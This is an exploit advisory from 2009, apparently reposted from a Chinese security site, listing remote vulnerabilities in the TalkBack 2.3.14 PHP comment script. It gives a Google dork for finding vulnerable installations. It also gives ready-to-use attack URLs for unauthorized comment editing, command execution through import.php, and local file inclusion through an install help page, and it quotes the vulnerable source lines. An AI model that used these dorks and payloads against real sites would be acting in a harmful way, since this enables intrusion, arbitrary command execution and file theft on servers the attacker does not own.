|
TalkBack 2.3.14 Multiple Remote Vulnerabilities
|
|
来源：No-exploit.Com 作者：JIKO 发布时间：2009-07-10
|
|
JIKO No-exploit.Com
Download:http://scripts.oldguy.us/talkback/downloads2/talkback2.3.14.zip
Script : talkback V 2.3.14
Dork:inurl:test.php Powered by TalkBack
--------------------------------------------
Edit Comment ~[+]
talkback/comments.php?edit=1&edit_id=2&
Command ~[+]
talkback/addons/import.php?result=[Command]
Code;
$last_line = system($command, $result);
Local File ~[+]
Note : if floder install not deleted
http://localhost/test/talkback/install/help.php?language=[File]
code;
$file = "../language/{$_REQUEST['language']}.php";
if (!is_file($file))
exit("Language file '$file' does not exist");
include ($file);
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
